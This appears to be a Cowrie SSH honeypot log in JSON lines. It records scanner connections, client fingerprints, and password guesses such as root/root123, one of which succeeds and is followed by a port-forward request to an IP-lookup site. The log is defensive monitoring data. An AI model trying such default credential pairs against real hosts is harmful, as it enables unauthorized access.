{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:48:47.477293Z","src_ip":"171.243.151.30","session":"a242d70dbded","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":50306,"dst_ip":"10.17.0.5","dst_port":22,"session":"24b6dc0dcccd","protocol":"ssh","message":"New connection: 171.243.151.30:50306 (10.17.0.5:22) [session: 24b6dc0dcccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:49:54.176497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:49:54.181824Z","src_ip":"171.243.151.30","session":"24b6dc0dcccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:49:56.643162Z","src_ip":"171.243.151.30","session":"24b6dc0dcccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:49:58.345183Z","src_ip":"171.243.151.30","session":"24b6dc0dcccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:49:59.654903Z","src_ip":"171.243.151.30","session":"24b6dc0dcccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":60024,"dst_ip":"10.17.0.5","dst_port":22,"session":"22544f7d405a","protocol":"ssh","message":"New connection: 171.243.151.30:60024 (10.17.0.5:22) [session: 22544f7d405a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:51:36.258667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:51:36.306964Z","src_ip":"171.243.151.30","session":"22544f7d405a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:51:36.515358Z","src_ip":"171.243.151.30","session":"22544f7d405a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root123","message":"login attempt [root/root123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:51:38.701193Z","src_ip":"171.243.151.30","session":"22544f7d405a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"ip-who.com","dst_port":80,"src_ip":"171.243.151.30","src_port":0,"message":"direct-tcp connection request to ip-who.com:80 from :0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:51:39.189499Z","session":"22544f7d405a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"ip-who.com","dst_port":80,"ja4h":"ge11nn010000_4740ae6347b0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to ip-who.com:80: ge11nn010000_4740ae6347b0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:51:39.952076Z","src_ip":"171.243.151.30","session":"22544f7d405a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"ip-who.com","dst_port":80,"data":"b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\r\\nHost: ip-who.com\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:51:39.955206Z","src_ip":"171.243.151.30","session":"22544f7d405a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:51:40.244127Z","src_ip":"171.243.151.30","session":"22544f7d405a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.231.180.86","src_port":45660,"dst_ip":"10.17.0.5","dst_port":22,"session":"d59a0c1e39f6","protocol":"ssh","message":"New connection: 171.231.180.86:45660 (10.17.0.5:22) [session: d59a0c1e39f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:53:36.594497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:53:36.623985Z","src_ip":"171.231.180.86","session":"d59a0c1e39f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:53:37.602273Z","src_ip":"171.231.180.86","session":"d59a0c1e39f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"OkwKcECs8qJP2Z","message":"login attempt [system/OkwKcECs8qJP2Z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:53:38.478553Z","src_ip":"171.231.180.86","session":"d59a0c1e39f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:53:39.738666Z","src_ip":"171.231.180.86","session":"d59a0c1e39f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.89.124.214","src_port":49130,"dst_ip":"10.17.0.5","dst_port":22,"session":"09b891eab198","protocol":"ssh","message":"New connection: 13.89.124.214:49130 (10.17.0.5:22) [session: 09b891eab198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:53:46.544262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:53:46.548776Z","src_ip":"13.89.124.214","session":"09b891eab198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:53:46.584787Z","src_ip":"13.89.124.214","session":"09b891eab198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.89.124.214","src_port":49138,"dst_ip":"10.17.0.5","dst_port":22,"session":"440540264dab","protocol":"ssh","message":"New connection: 13.89.124.214:49138 (10.17.0.5:22) [session: 440540264dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:53:46.668417Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:53:46.672962Z","src_ip":"13.89.124.214","session":"440540264dab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:53:46.676713Z","src_ip":"13.89.124.214","session":"440540264dab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:53:56.545335Z","src_ip":"13.89.124.214","session":"09b891eab198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.49","src_port":51716,"dst_ip":"159.203.135.109","dst_port":22,"session":"227b3329e4a2","protocol":"ssh","message":"New connection: 160.119.76.49:51716 (159.203.135.109:22) [session: 227b3329e4a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:54:26.356683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:54:26.408518Z","src_ip":"160.119.76.49","session":"227b3329e4a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:54:26.555851Z","src_ip":"160.119.76.49","session":"227b3329e4a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"scan","password":"","message":"login attempt [scan/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:54:26.985517Z","src_ip":"160.119.76.49","session":"227b3329e4a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:54:28.115498Z","src_ip":"160.119.76.49","session":"227b3329e4a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.144.27.142","src_port":33494,"dst_ip":"159.203.135.109","dst_port":22,"session":"b897343847ac","protocol":"ssh","message":"New connection: 18.144.27.142:33494 (159.203.135.109:22) [session: b897343847ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:17.894347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:18.044475Z","src_ip":"18.144.27.142","session":"b897343847ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:18.172884Z","src_ip":"18.144.27.142","session":"b897343847ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:18.419894Z","src_ip":"18.144.27.142","session":"b897343847ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.144.27.142","src_port":33500,"dst_ip":"159.203.135.109","dst_port":22,"session":"df607a894024","protocol":"ssh","message":"New connection: 18.144.27.142:33500 (159.203.135.109:22) [session: df607a894024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:18.492463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:18.792460Z","src_ip":"18.144.27.142","session":"df607a894024","protocol":"ssh"}
